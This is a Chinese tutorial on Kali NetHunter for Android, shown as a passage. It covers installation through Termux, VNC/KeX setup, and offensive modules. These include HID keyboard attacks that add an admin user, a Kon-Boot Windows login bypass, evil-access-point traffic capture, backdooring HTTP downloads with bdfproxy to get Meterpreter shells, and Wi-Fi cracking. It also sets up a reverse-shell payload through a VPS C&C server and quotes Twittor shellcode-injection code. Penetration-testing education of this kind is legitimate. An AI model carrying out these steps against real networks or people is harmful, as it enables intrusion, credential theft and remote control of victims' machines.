    如连上PC后没有反应,可按 Reset USB键更新。固然,HID KeyBoard Attack 也提供了 Windows CMD攻击模块,即连入盘算机后主动打开CMD并执行指定命令(默以为添加新管理员用户,可自由定制)。

    NetHunter 主屏幕

    NetHunter 主屏幕提供了一个公共位置,可以检察有关设备的一些有效的常用信息,包括外部和内部 IP 地址,以及 HID 接口的可用性。


    NetHunter Kali 服务

    Kali 服务窗格答应您启动和制止各种 chroot 服务,比方 SSH、Apache、OpenVPN 等。要启动或制止任何可用的网络服务,只需点击可用选项中的相应按钮即可。如果需要,此窗格还答应您在启动时启用这些服务。请注意,这些服务对应于 chroot 的 Kali Linux 服务,而不是原生 Android 服务。警告:在启用对设备的远程访问之前,请确保您已更改任何默认密码,因为 Kali 带有默认的“toor”密码。


    NetHunter KeX 管理器

    Being mobile doesn’t mean putting up with tiny! (手机端并不意味着功能微小)。通过 HDMI 或屏幕投射连接表现器,可以获得桌面版本 Kali 一样的体验。


    手机端 连接 nethunter:
       1、选择菜单 "Kex Manager", 点击 "SETUP LOCAL SERVER" 设置VNC密码;
      2、取消勾选 "Localhost Only"
      3、选择用户(可选),默认 kali
      4、点击 "START SERVER"
      5、点击 OPEN KEX CLIENT,打开 NetHunter KeX,输入用户名 kali 前面设置的密码即可
      PC端 连接 nethunter:
    需要下载支持 VNC 的软件,这里使用 MobaXterm,打开 MobaXterm,选择 VNC,输入地址:手机IP:端口  进行连接。然后输入密码就进去了!
       vnc setting localhost:1 port 5901(注意:这里可能每个人的不一样,在终端中设置vnc密码的时候,平常后会出现个数字,大概像 1,2,3,4 这样的 ),类似的,port 就应为 5901,5902,5903。
    输入设置的6位 vnc 密码。点击 connect 就可以出现图形化界面。
      启动 KeX 管理器
    单击 菜单项,然后选择“KeX 管理器”以打开 KeX 菜单。在这里可以启动和制止服务,打开KeX客户端并设置高级设置。可以通过执行以下步骤来启动 KeX:


    • 首次使用前设置 KeX 密码
    • 启动 KeX 服务器
    • 打开 KeX 客户端
    • 输入 KeX 密码(该密码安全地存储在连接设置文件中)
    • 在 KeX 客户端点击“连接”,连接 KeX 服务器
    • 连接HDMI表现器和蓝牙键盘和鼠标(可选,设备可用作触摸板)
    打开“高级设置”并设置自定义分辨率以适合连接的表现器

    设置 KeX。在首次启动 KeX 服务器之前,单击“SETUP LOCAL SERVER”并设置会话密码和只读密码。

    启动 KeX。要启动 KeX,请单击“启动服务器”。要制止 KeX,请单击“制止服务器”。若要表现服务器是否正在运行,请单击“革新”按钮。

    启动 KeX 客户端。要启动 KeX 客户端,请单击“打开 KEX 客户端”

    首次连接前,请在密码字段中输入密码(设置服务器时设置的密码)

    点击 connect 即可

    使用 KeX 控件。触摸屏幕会表现屏幕表现 2 秒钟,这答应您打开屏幕键盘或上下文菜单来设置或断开 KeX 会话。你可以随时断开并重新连接到您的会话。

    高级 KeX 设置。打开“高级设置”菜单以调整表现分辨率设置。


    NetHunter 更改 MAC

    MAC Changer 窗口答应你更改 NetHunter 设备网络接口的 MAC 地址。您可以选择将 MAC 地址设置为随机值,也可以使用尺度的 6 对表现法(如 00:11:22:AA:BB:CC)手动输入。


    MITM 框架

    MITM (Man In The Middle) 由 @byt3bl33d3r 编写,提供了方便的一站式服务,满足你所有的 MitM 和网络攻击需求。它包括键盘纪录、cookie 捕获、ARP 中毒、注射、欺骗等等。




    NetHunter MANA 险恶接入点

    The MANA Toolkit 是 SensePost 的险恶接入点实现,可执行流氓 Wi-Fi AP 和 MitM 攻击。MitM 日记被写入 Kali chroot 中的 /var/lib/mana-toolkit/。
    默认的 MANA 设置应按原样工作,但是,您可以调整任何可用设置以匹配您的目标情况,比方 ssid、通道号等。将所有内容设置到您满意的程度后,点击“更新”按钮以生存设置。


    Metasploit Payload 生成

    MSFvenom Payload Creator (MFSPC) 由 g0tmi1k 编写,用于消除使用 Metasploit msfvenom 实用程序生成有效负载的痛楚。只需选择您的有效负载,设置其选项,然后生成您的有效负载。


    Nmap 扫描

    通过 Nmap 扫描窗口,你可以轻松访问功能强大的 Nmap 扫描最常用的选项,让您轻松对目标或网络进行深入扫描,而无需使用屏幕键盘在命令行上键入长字符串。


    Social Engineer Toolkit

    NetHunter 社会工程师工具包。Social Engineer Toolkit 网络垂纶电子邮件模板创建器使您可以自定义 3 个网络垂纶电子邮件模板。插入您自己的链接、缩略图、名称和主题。这些模板生存到 SET 的 templates 目次中,因此可以在使用群发邮件攻击时选择它。


    无线网卡和 NetHunter

    Wireless Cards and NetHunter。外部无线网卡是须要的,因为除了现代骁龙 SOC 中使用的一些高通芯片外,Android 设备在大多数设备上不支持监控模式。有些设备可以通过修改后的固件和内核支持监控模式,比方Nexus 5,7(2012)和Nexus 6P。现在,只有经过特殊修改的Nexus 5版本支持Nethunter的监督模式。
    有几个限制是 Android 设备需要 USB-OTG 电缆而且功率输出有限。由于这些限制,并非所有无线网卡都能接收须要的电源输出,而且可能不支持外部电源(Y 型电缆)。
    当问“NetHunter 的最佳卡是什么?”时,您需要问问自己您的用例是什么。虽然所有的卡在近间隔上都可能体现相似,但此中一些卡具有更高的发射功率和天线附件,这使得它们可以大概在比小型卡更远的间隔上工作。还有一种可能性是,您的设备可能只能通过 OTG 提供 450 mA 或更低的功率,而不是完整的 USB 500 mA 规格。如果是这种情况,您可能需要思量传输功率较低的设备。
    默认情况下,大多数(如果不是全部)NetHunter 内核都支持以下芯片组:
    Atheros


    • ATH9K_HTC (AR9271, AR7010)
    • ATH10K
    Ralink


    • RT73
    • RT2800USB
    • RT3070
    Realtek 瑞昱


    • RTL8188EUS
    • RTL8188CU
    • RTL8188RU
    • RTL8192CU
    • RTL8192EU
    • RTL8723AU
    • RTL8811AU
    • RTL8812AU
    • RTL8814AU
    • RTL8821AU
    • RTW88-USB
    MediaTek。MediaTek 联发科


    • MT7610U
    • MT7612U
    Qualcomm internal wifi chipsets (wlan0)。高通内置 wifi 芯片组 (wlan0)


    • QCACLD-2.0
    • QCACLD-3.0
    以下设备已确认与 NetHunter 可以一起使用:


    • TP-Link TL-WN722N v1 (Please note that v2 & v3 have unsupported chipsets) but v2 and v3 may be supported using RTL8812AU drivers.)
    • TP-Link TL-WN822N v1 - v4
    • Alfa Networks AWUS036ACH
    • Alfa Networks AWUS036NEH (recommended by @jcadduono)
    • Alfa Networks AWUS036NHA
    • Alfa Networks AWUSO36NH
    • Panda PAU05 Nano
    以下设备已确认部门实用于 NetHunter 版本:


    • Alfa Networks AWUS051NH (dual band 5 GHz support may be unreliable)
    以下设备已确认不能与 NetHunter 版本一起使用:


    绕过 Windows 登录认证

    NetHunter 其实有许多隐藏玩法,比如借助 DriveDroid 实现 Windows 登陆绕过密码。DriveDroid本是个答应通过安卓手机中的 ISO/IMG 镜像文件引导启动 PC机的一个App,但结合了特定的镜像,实现绕过 Windows 登陆认证就变得可行。
    以Win7为例,首先为默认账户创建密码 hello ,DriveDroid 默认引导镜像存放目次位于SDCard/Download/images,只需将欲引导的镜像存放于此目次即可。

    这里绕过Windows或OSX登陆认证的镜像为 Kon-Boot。可以到官网了解,其原理在于处置惩罚BIOS修改体系内核的引导处置惩罚,跳过SAM检查,直接登陆体系。因为是付费软件,以下以自行寻觅的镜像为例演示。关闭 MTP文件传输,打开 DriveDroid,主动列出 images 目次下得镜像文件。

    选择 Kon-Boot.img 镜像挂载,模式这里选择为 Read-Only USB

    加载成功后相应镜像有所标记

    而在连入的PC机中也会表现加载有新的可移动磁盘(或软驱盘),如未能表现,可在设置页面进行相应调整(可通过USB Setup Wizard领导指引)

    此时在设有密码的PC机重启,进入BIOS设置启动项

    如果镜像加载成功,可以看到飞奔的图案如下:

    之后登陆用户密码处回车即可绕过密码认证登陆体系

    需要阐明的是,通过此方式登陆体系无法直接修改或删除体系密码。

    WarDriving

    字面意思是 "战役驾驶、驾驶攻击"。"驾驶" 是相称字面的。黑客驾驶汽车(或有时是其他车辆,如自行车)四处走动,配备特殊设备,可绘制出不安全的 Wi-Fi 网络。其实就是不断的改变位置信息进行攻击。在 NetHunter 的 Wireless 模块中 Kismet 作为 WarDriving 的默认工具,不外操作起来画面太美不敢看。在启动 kismet 之前,请确保您的无线接口处于监督器模式。由于监督器模式 QCACLD-3.0 驱动程序,也可以使用内部无线接口。

    退而求其次,保举使用 App WigleWifi。不外注意不要不小心上传数据。使用easy,界面很丢脸。

    幸亏数据可以以 Sqlite 数据库格式存储在本地。

    Mana EvilAP蜜罐

    想建个 CMCC 无线网络垂纶挟制流量? PineApple 没有带在身边,不妨拿出手机,开个蜜罐。Mana蜜罐采用与 PineApple 雷同的:Hostapd的Karma补丁,可用来欺骗接入无线网络用户,使其可很平滑连接到虚伪AP中,进行后续攻击。
    需要阐明的是:NetHunter无线攻击模块,多数需要使用 OTG 外接USB无线网卡,主流芯片(可以试试 Kali 是否可直接辨认)网卡均可。WN722N 较为保举,迷你的EDUP网卡通用性则较强(Raspberry Pi也可直接辨认),只是信号强度..自然可想而知。

    Mana蜜罐有多种Hacking模式,均为sh脚本,可自由定制。
    Mana工具安装目次为:/usr/share/mana-toolkit
    启动脚本则在此处存放:/usr/share/mana-toolkit/run-mana
    截获流量文件存放于:/var/lib/mana-toolkit
    通过 NetHunter Home 的Mana蜜罐页面可方便的对设置文件进行修改:
    Hostapd 设置文件

    DHCP服务设置文件

    DNS 欺骗设置文件

    服务启动脚本有多个,均可自由编辑修改:

    上图对应脚本 start-nat-full.sh,脚本需要USB无线网卡(存在上行流量)启动,无线连入为NAT模式,并启动所有脚本包括:firelamb、sslstrip、sslsplit 等,截获流量并生存。

    start-nat-simple.sh 同样有上行流量,但并不启动 firelamb、sslstrip、sslsplit 等脚本。

    start-nat-simple-bdf.sh,加入了BDF恶意代码Inject工具,后面章节将对其攻击思绪进行介绍。此外,还有 
       start-noupstream.sh :Mana作为无法上网的虚伪AP启动,但可吸引WIFI默认开启的终端主动连接并抓取信息。
    start-noupstream-eap.sh:Mana同样无法上网,但会进行EAP攻击
      编辑好启动文件后,Start Attack,会弹窗勾选启动脚本:

    即可启动服务。

    Backdooring Executable Over HTTP

    对使用HTTP协议传送的二进制文件注入shellcode。
    首先创建一个Mana蜜罐,SSID 这里使用默认名称 internet,启动服务
       cd /usr/share/mana-toolkit/run-mana
    ./start-nat-simple-bdf.sh
      

    再开一个Shell,编辑 bdfproxy.cfg,此设置文件包含了针对差别平台默认设置的 payload,可自行更换。不外由于表现问题,用 nano 编辑文本会一行行革新,还是换个方式编辑比力好。这里只把IP 修改192.168.1.151,也可在 Nethunter 的主面板下的 MANA Evil Access Point 中进行设置。
    nano /etc/bdfproxy/bdfproxy.cfg  设置好IP之后,在Shell中直接输入bdfproxy运行之。再新开一个Shell 启动 Metasploit

    一切准备就绪,等待连入蜜罐AP的PC机上网下载二进制文件,在此通过百度下载 everything (神器啊)演示:

    运行everthing,因为注入了 payload,会出现自校验失败的提示

    检察MSF,已成功反弹回Shell,而上面自校验失败的提示就是MeterPreter 的screenshot 截图

    不得不说,这个新特性真的很Cool。

    Wifite 破解

    如果没有无线破解是不科学的,NetHunter保举的 Wifite 破解工具是其最早集成的功能之一。移动设备的便携性更有利于随时随地进行Wifi安全测试,只需挂载上外置无线网卡便可轻松抓包破解,不外并不建议直接在移动设备上破解抓到的包,如跑几分钟没结果,就拿高性能设备破解吧,否则易导致设备死机。连接好外置无线网卡后,在 Nethunter 主菜单选择 Launch Wifite 即可进入

    选择开启稠浊监听模式的网卡,选择Wlan1

    扫描开始,每5秒更新一次,当确认攻击目标后 CTRL+C 制止扫描

    输入攻击目标序号,这里就选 XDSEC-WIFI,输入2

    抓包成功后主动调用字典破解,这里机警的把字典删掉,其主动退出

    抓到的握手包存放在 /data/local/kali-armhf/HS目次下,命名规则是 SSID+MAC

    如果目标开启 WPS,则主动进行PIN码破解。Wifite 相对傻瓜化,易操作,适合移动终端。连入无线后结合 zANTI 等工具调戏即可。



    3、安装 精简版(NetHunter Lite)


       有 root 就安装完整版,没 root 就安装 Rootless 版本。
      

    4、安装 非root版 (Rootless)


    官网 NetHunter Rootless 安装步骤:https://www.kali.org/docs/nethunter/nethunter-rootless/

    • NetHunter Store App 下载地址 https://store.nethunter.com/NetHunterStore.apk
    • NetHunter Web Store 访问地址 https://store.nethunter.com/
    • NetHunter Apps 源码在 GitLab https://gitlab.com/kalilinux/nethunter/apps/
       所有应用程序都可以通过 NetHunter Store 客户端安装。
      从 store.nethunter.com ( https://store.nethunter.com/ ) 安装 NetHunter-Store 应用程序
      

      安装 F-Droid 开源软件商店:https://f-droid.org/zh_Hans/
    使用 F-Droid 商店安装 Termux:https://f-droid.org/packages/com.termux/
      从 NetHunter-Store 安装 TermuxNetHunter-KeX客户端Hacker’s keyboard

    打开 Termux 执行下面命令,如果卡在 installing 就开个署理
       $ termux-setup-storage      添加访问存储权限,点击答应
    $ pkg install wget
    $ wget -O install-nethunter-termux https://offs.ec/2MceZWr
    $ chmod +x install-nethunter-termux
    $ ./install-nethunter-termux
      执行 "./install-nethunter-termux" 命令会从 nethunter 下包,如下:
      

      一样平常情况下都会丢包导致SSL errornull)最终!导致校验失败无法安装。这时候使用迅雷或者其他的下载软件下载对应的压缩包。https://images.kali.org/nethunter/kalifs-arm64-full.tar.xz  然后把下载好的压缩包复制到手机下的download目次下,在终端里执行如下命令。
    cd storage
    cd downloads
    mv kalifs-arm64-full.tar.xz /data/data/com.termux/files/home
    cd /data/data/com.termux/files/home
    ./install-nethunter-termux
    第一个蓝色句子意思大概是发下同名文件,是否要删除下载下一个?N、
    中间需要的时间有点长,请耐心等待。
    第二个蓝色句子意思大概是问你安装完要不要把安装文件(rootfs)删了?这里选择y
      安装完成后,这就是最简 gui 的安装过程。然后执行 nh 命令进入 kali

    打开 Termux 并输入下面命令,命令 nethunter 可以缩写为 nh 
       nethunter                       启动Kali NetHunter命令行界面
    nethunter kex passwd       设置KeX密码(仅在首次使用前需要)
    nethunter kex &               启动Kali NetHunter桌面体验用户会话
    nethunter kex stop           制止Kali NetHunter桌面体验
    nethunter <command>           在NetHunter情况中运行
    nethunter -r               以root身份启动Kali NetHunter
    nethunter -r kex passwd       为root设置KeX密码
    nethunter -r kex &           以root身份启动Kali NetHunter Desktop Experience
    nethunter -r kex stop       制止Kali NetHunter桌面体验根会话
    nethunter -r kex kill       杀死所有KeX会话
    nethunter -r <command>       以root身份在NetHunter情况中运行 <command>
      如果在背景运行 kex( & )而没有设置密码,再次设置密码时,首先需要将其带回前台,通过 fg <job id> -您可以稍后通过 Ctrl + z 和 bg <job id> 再次将其发送到背景。要使用 KeX,请启动 KeX客户端,输入密码并点击连接提示:为了获得更好的观看体验,请在 KeX 客户端的“高级设置”下输入自定义分辨率。
    安装成功后



    • 安装后第一件事就是运行 sudo apt update && sudo apt full-upgrade -y 来更新Kali。如果你有富足的存储空间,你可能也想运行 sudo apt install -y kali-linux-default。或者运行 kali-tweaks 来调整 kali 的元数据库的群组,通过tab节点来调整选择相关群组,选择并apply。相关群组如下:
      System 体系组:https://www.kali.org/docs/general-use/metapackages/#system
      kali-linux-core: Base Kali Linux System – core items that are always included 体系基础组件
      kali-linux-headless: Default install that doesn’t require GUI 不要求GUI则默认安装headless
      kali-linux-default: “Default” desktop (amd64/i386) images include these tools 默认桌面
      kali-linux-arm: All tools suitable for ARM devices ARM设备全部工具集
      kali-linux-nethunter: Tools used as part of Kali NetHunter NetHunter工具集
      Desktop environments/Window managers 桌面情况/窗口管理:https://www.kali.org/docs/general-use/metapackages/#desktop-environmentswindow-managers
      kali-desktop-core: Any key tools required for a GUI image GUI核心组件
      kali-desktop-e17: Enlightenment (WM)
      kali-desktop-gnome: GNOME (DE)
      kali-desktop-i3: i3 (WM)
      kali-desktop-kde: KDE (DE)
      kali-desktop-lxde: LXDE (WM)
      kali-desktop-mate: MATE (DE)
      kali-desktop-xfce: Xfce (WM)
      Tools 工具:https://www.kali.org/docs/general-use/metapackages/#tools
      kali-tools-gpu: Tools which benefit from having access to GPU hardware 访问GPU硬件资源工具
      kali-tools-hardware: Hardware hacking tools 硬件hack工具
      kali-tools-crypto-stego: Tools based around Cryptography & Steganography 加密工具
      kali-tools-fuzzing: For fuzzing protocols fuzzing协议工具
      kali-tools-802-11: 802.11 (Commonly known as “Wi-Fi”) 无线协议工具
      kali-tools-bluetooth: For targeting Bluetooth devices 蓝牙设备
      kali-tools-rfid: Radio-Frequency IDentification tools 无线射频
      kali-tools-sdr: Software-Defined Radio tools 软件定义无线工具
      kali-tools-voip: Voice over IP tools IP语音工具
      kali-tools-windows-resources: Any resources which can be executed on a Windows hosts 窗口资源
      kali-linux-labs: Environments for learning and practising on 实验室情况测试
      菜单:https://www.kali.org/docs/general-use/metapackages/#menu
      kali-tools-information-gathering: Used for Open Source Intelligence (OSINT) & information gathering 信息网络
      kali-tools-vulnerability: Vulnerability assessments tools 毛病扫描
      kali-tools-web: Designed doing web applications attacks web攻击
      kali-tools-database: Based around any database attacks 数据库攻击
      kali-tools-passwords: Helpful for password cracking attacks – Online & offline 在线/离线密码攻击
      kali-tools-wireless: All tools based around Wireless protocols – 802.11, Bluetooth, RFID & SDR 无线协议攻击
      kali-tools-reverse-engineering: For reverse engineering binaries 逆向工程
      kali-tools-exploitation: Commonly used for doing exploitation 毛病发现
      kali-tools-social-engineering: Aimed for doing social engineering techniques 社会化工程
      kali-tools-sniffing-spoofing: Any tools meant for sniffing & spoofing 嗅探工具
      kali-tools-post-exploitation: Techniques for post exploitation stage 毛病工具
      kali-tools-forensics: Forensic tools – Live & Offline 取证工具
      kali-tools-reporting: Reporting tools 报告工具
      其他:https://www.kali.org/docs/general-use/metapackages/#others
      kali-linux-large: Our previous default tools for amd64/i386 images amd64/i386默认工具集
      kali-linux-everything: Every metapackage and tool listed here 所有元数据和列出的工具
      kali-desktop-live: Used during a live session when booted from the image live启动盘
    • 所有的渗出测试工具都应该工作,但有些可能有限制,比方metasploit 没有数据库支持。
    • 一些实用程序,如 top命令 不会运行在unrooted手机。
    • 非 root 用户在 chroot 中仍旧拥有 root 访问权限。这是使用 proot 实现的。
    • 通过制止所有nethunter会话并在termux会话中键入以下内容来执行rootfs的定期备份: tar -cJf kali-arm64.tar.xz kali-arm64 && mv kali-arm64.tar.xz storage/downloads 这将把备份放在Android下载文件夹中。注:在旧设备上,将“arm 64”更改为“armhf”
    关于 termux 安装 kali| postgresql 报错:mainError: Data directory /var/lib/postgresql/15/main must not be owned by root
                    sudo rm -rf /var/lib/dpkg/info/postgresql* 
                    sudo dpkg --configure -a
                    sudo apt update && sudo apt full-upgrade -y

    termux 中 kali 自己不带工具,如果想要完整版安装,需要在启动 kali 后,在内里执行下面命令,不外这需要大量磁盘空间:
            apt update
            apt full-upgrade -y
            apt install kali-linux-full  或者 apt install kali-linux-default
    执行 apt list 可以列出所有工具。
    安装 Termux-api,去应用商店或去官网下载安装,或者 Termux 执行:pkg install termux-api ,然后给 termux-api 权限就可以获取对应的手机信息了。

    vnc 连接桌面

    VNC是Virtual Network Computing(虚拟网络盘算机)的缩写。就是远程控制你电脑的工具。(带GNU图形界面)支持linux、unix、Windows等操作体系。
       termux 开启状态才可以用 vnc
      nh 是 nethunter 的缩写,-r 代表 root 用户,去了 -r 就是平常用户
      

    • nh kex passwd    设置 VNC 密码。nh -r kex passwd 设置 root 用户使用 kex 的密码
    • nh -r kex &      背景启动桌面。(root用户端口默认5902,而平常用户是5901,软件nethunter kex 默认5900 )
    • 打开 NetHunter-KeX app
              去掉 localhost:1后的:1,然后把端标语改为 5902
              再然后,输入密码(用户名可写root),点击玄色按钮 Connect进行连接
    • 关闭服务:在termux中执行 nh -r kex kill 或 nh -r kex stop
      关于 kali nethunter 使用 termux 取代默认终端的方案:https://blog.csdn.net/AA1234567890_/article/details/122974973
      Windows VNC Viewer无法连接Android上Kali NetHunter Kex远程桌面的一种办理办法
      :https://zhuanlan.zhihu.com/p/560172905
      上面通过 termux 开启 vnc 服务,也可以直接进入 kali,在 kali 中启动 vnc
       kali 设置VNC ( kali 自带 tightvncserver ):https://www.cnblogs.com/zroCrow/p/16183209.html
      
    方法 2:https://github.com/Hax4us/Nethunter-In-Termux
       安装:
      在HOME 目次中下载脚本curl -LO https://raw.githubusercontent.com/Hax4us/Nethunter-In-Termux/master/kalinethunter
    添加执行权限 chmod +x kalinethunter
    运行脚本     ./kalinethunter
      In Case Of SSL error: certificate verify failed。执行命令:./kalinethunter --insecure
      
      用法:
              执行命令 startkali 启动 nethunter。默认用户名和密码都是 kali
            如果想以 root 用户启动 nethunter 则执行命令:startkali -r
      
      VNC 手册:
              开始一个 VNC 会话:vnc start
            制止一个 VNC 会话:vnc stop
            检察 VNC 状态( Display and port number):vnc status
            启动vnc start则默认会开启 vncserver 。
                kali 用户启动后:DISPLAY=:2 & PORT=5902
                root 用户启动后:DISPLAY=:1 & PORT=5901
      
      启动 LXDE 桌面
      默认的 DESKTOP 是 XFCE4,但是也可以设置 LXDE 作为桌面:https://www.hax4us.com/2018/07/how-to-install-lxde-in-kali-nethunter.html?m=1
      安装完成后,启动进入kali:startkali

    安装 VNC 服务
       进入kali 后,root 权限下执行:sudo wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
      

      
      
      执行 vncserver-start 后,输入密码一个自定密码即可。
      打开  vnc 的 APP,像这样设置
      

      

      

      要在Termux上安装xfce4桌面情况,可以按照以下步骤进行操作:
    首先,确保你的Termux已经安装了须要的软件包。你可以使用以下命令安装所需的软件包: pkg install x11-repo python openbox pypanel xorg-xsetroot aterm
    接下来,你需要安装PyXDG库。你可以使用以下命令安装: pip3 install PyXDG
    然后,你可以使用以下命令下载并运行安装脚本: 
    wget https://raw.githubusercontent.com/EXALAB/AnLinux-Resources/master/Scripts/DesktopEnvironment/Apt/Xfce4/de-apt-xfce4.sh && bash de-apt-xfce4.sh
    安装完成后,你可以启动xfce4桌面情况。你可以使用以下命令启动xfce4: startxfce4
    注意,这只是一种在Termux上安装xfce4桌面情况的方法。还有其他方法可以安装Linux体系,如proot-distro等。你可以在GitHub上找到更多的项目来参考



    5、ARM 设备 武器化指南


    ARM 设备 武器化指南 --- 上手实操:https://www.anquanke.com/post/id/205455#h2-4
    在渗出测试流程中,实验职员可以实验使用WIFI和USB连接,将移动安全小组提供的移动端 RAT 植入到目标移动终端中,这里稍微具体一些、展开讲下。

    C&C 服务器

    C&C服务器:https://blog.csdn.net/laowu8615/article/details/78181032
    C&C服务器,其全称为 command and control server。C&C服务器不仅可以为攻击者提供便利的资源管理平台,也可以保障其个人隐私安全。现在通过几个C&C服务器的搭建实验了解一下什么是C&C服务器,以了解怎样应对使用C&C的攻击行为。

    无 C&C服务器 通讯

    某天,某攻击者通过固定的外网IP控制了一个外部的外网用户。两台设备的交换完全是点对点交换的,而且交换方式是主动式交换。

    由于该用户由购买了几台电脑,一个IP已经不敷用了,所以就在家内里设置了一台路由器。虽然用户可以访问外网,但是这样就导致用户所有的电脑设备都处在一个内网中。攻击者没有办法控制用户的电脑,所以又入侵了他的路由器做了一个端口转发,然后继承控制该用户。


    VPN C&C服务器 通讯

    随后该攻击者发现自己的外网IP属于动态IP地址。只要一断线,IP地址就会改变。为了可以大概恒久的进行监听会话,攻击者租用了一台VPS服务器,在上面搭建了一个pptp署理,随后用 iptable 做了端口转发,而且将交换方式改为反弹式交换。

    技术解析:有的时候,地方宽带运营商会有各种各样的规则,这样将会导致控制端的网络非常不稳固。记得我在2012年的时候是使用电信的宽带对后门进行控制,但是电信给我的IP属于一个内网IP。随后打电话给客服改成公网IP,但是这个IP是动态的,每天都在变化。这样复杂的网络情况,攻击者需要一个稳固和安全的C&C服务器。
    以下为本次实验的情况:
       win 10 一台
      Kali Linux 一台
      Linode VPS 一个
      在这里,我们先使用Kali Linux作为控制端,win 10则为病毒感染的设备,而VPS则作为一个C&C服务器。首先在Linode上租用一台 VPS,我们可以看到这台VPS的公网IP为139.162.5.124。

    为了方便教程,我使用Veil编译一个meterpreter的payload。其设置如下
       监听IP:139.162.5.124(VPS的公网IP)
      监听端口:1024(随意填写)
      Payload种类:python/meterpreter/rev_tcp
      加密方式:Pyherion
      

    然后需要对 VPS 进行一个简单的设置,通过 SSH 连接 VPS,然后进行 update。

    随后安装pptp的根本组件

    对/etc/pptpd.conf文件进行编辑,添加Local IP地址和remote IP地址。
       localip 192.168.0.1
      remoteip 192.168.0.2
      

    然后编辑/etc/ppp/chap-secrets文件,设置pptp的账号和密码。
       freebuf pptpd freebuf *
      

    然后再编辑 /etc/ppp/options 文件,将 ms-dns 设置为根服务器地址,如 8.8.8.8 之类的。

    再继承编辑/etc/ppp/options文件,添加net.ipv4.ip_forward=1,其意义是使IP可以大概转发。生存后可以使用sysctl -p检查一下。

    输入命令 /etc/init.d/pptpd restart,让pptp服务重启,然后安装iptable,而且设置相关命令。
       iptable安装:apt-get install iptables
    iptable设置:
            1. iptables -t nat -A POSTROUTING -s 192.168.0.0/24 -o eth0 -j MASQUERADE
            2. iptables-save > /etc/iptables.pptp
            3. cd /etc/network/if-up.d/
            4. vi iptables
    写入以下内容
    #!/bin/sh
    iptables-restore < /etc/iptables.pptp
      5. chmod +x /etc/network/if-up.d/iptables

    到现在这一步 pptp 已经可以连接到外网了,但是还不敷,我们需要对其进行端口转发。各人可以使用iptable继承来做端口转发,或者使用rinetd之类的端口转发工具。
    安装 rinetd:sudo apt-get install rinetd

    然后编辑 /etc/rinetd.conf文件,写入0.0.0.0 1204 192.168.0.2 1204。其意义是把所有通过1024端口连接本机的IP映射到内网IP中的1024端口。

    生存之后可以重启rinetd服务器,或者通过pkill命令关闭rinetd,然后通过该命令”rinetd -c /etc/rinetd.conf“调用刚才生存的conf文件开启rinetd程序。

    对Kali中PPTP的连接做一下更改,重要是使用MPPE点对点加密连接,而且不发送PPP响应数据包。

    VPN 连接没什么问题

    然后打开Metasploit,找到handler,而且对其进行设置。
       监听IP:192.168.0.2
      监听端口:1024
      

    在win10客户端激活木马,然后可以看到handler和payload已经成功搭建起了会话。

    也许教程有点绕,但是技术逻辑很清晰。首先是后门持续对VPS进行监听,而VPS则是把被监听端口的流量转发到自己的内网IP上,而客户端在连接到VPN后对这个内网IP进行监听即可。
    如下图所示:


    Web C&C服务器 通信

    逐步的,VPS服务器阛阓发现攻击者把一台VPS服务器看成C&C服务器。这个攻击者就思索得改变一下数据交换的方式,于是用微博看成C&C服务器。后门程序和控制程序内置爬虫脚本,通过XPath参数或者别的参数抓取微博中的内容,将其看成控制命令。

    技术解析:这个最能拿来看成例子的应该是twitter,现实上攻击者依赖twitter看成C&C服务器早就不是新闻,比如2015年新闻《俄罗斯攻击者是怎样滥用twitter作为Hammertoss C&C服务器的?》。还有的攻击者入侵Discuz论坛,把该论坛看成其C&C服务器。这种开放式的C&C有些是直接分析HTML代码,将特定的参数值看成命令进行处置惩罚,有些则是读取json数据等。
    在GitHub上公布了一个开源的twitter后门程序,其项目名称叫做twittor。
    项目地址:Twittor
    这个项目的重要文件如下
       implant.py
      requirements.txt
      twittor.py
      看GitHub的官方设置,我们是到Twitter中创建一个application,而且通过pip安装requirement.txt内里的一些组件。

    创建applocation还好明白,因为在implant.py文件中,它需要twitter的username,token和secret等参数来发送推文。

    至于requirements.txt中只有一个python的第三方库需要安全,就是tweepy库。这个库重要功能是和twitter的API创建通讯。

    观察implant.py,该文件调用了以下模块
       from tweepy import Stream
      from tweepy import OAuthHandler
      from tweepy import API
      from tweepy.streaming import StreamListener
      from uuid import getnode as get_mac
      import ctypes
      import json
      import threading
      import subprocess
      import base64
      import platform
      tweepy我们已经说过了,是关于twitter API通讯模块,而json模块重要是对json进行解析。而uuid模块重要是获取目标呆板的MAC地址的。ctypes库重要是提供和C语言兼容的数据类型,可以很方便地调用C DLL中的函数,这样可以很方便和meterpreter兼容起来。该文件还调用了threading库,这样可以进行多线程任务。同时也调用了subprocess,这样可以创建多个子线程。base64库重要是对数据进行base64位转码,比如中文等等之类的。而platform库重要是检察其操作体系的类型,版本号等体系信息。
    先创建twitter的key和access token。

    然后开启可读可写权限

    把各种token和secret填写到payload和handler内。

    但是运行的时候却报错了。

    google上有人说到,tweepy项目的某个人原本想用update_status做一个开始的连接测试,以保证自己编译的代码可以正常访问google API。但是在tweepy开发的过程中,不注意把这个参数作为了一个首要条件,导致所有凡是要调用tweepy库发推的人必须要先验证update_status。

    只能在twiitor.py内里调用一下tweepy,然后写入api.update_status(status=m),不外测试的时候还是爆出雷同的错误。

    但是当我运行twittor.py的时候的确是可以收到信息的,这个就尴尬了。

    google搜索没有结果,于是逐步检察官方文档,最终找到了问题的出处。原来twitter官方已经不答应使用direct_message命令,同时也表现一个user token不答应在第三方平台登陆。

    而我们代码内刚好就有一个direct_messages命令。估计twitter近来也是被twitter僵尸网络折磨怕了,才会出现相关规则。

    精神有限,如果要让这个C&C上线,需要检察twitter官方文档,重新编写代码了。这个C&C的精华之处在于它把所有的所有的数据转换成base64位进行传播,而且可以插入任意shellcode的数据片到内存值中。也就是说,当该后门被激活的时候,你乃至可以插入meterpreter的shellcode。这个功能的核心代码为以下部门:
    1. class ExecuteShellcode(threading.Thread):
    2.     def __init__(self, jobid, shellc):
    3.         threading.Thread.__init__(self)
    4.         self.shellc = shellc
    5.         self.jobid = jobid
    6.         self.daemon = True
    7.         self.start()
    8.     def run(self):
    9.         try:
    10.             shellcode = bytearray(self.shellc)
    11.             ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
    12.                 ctypes.c_int(len(shellcode)),
    13.                 ctypes.c_int(0x3000),
    14.                 ctypes.c_int(0x40))
    15.             buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
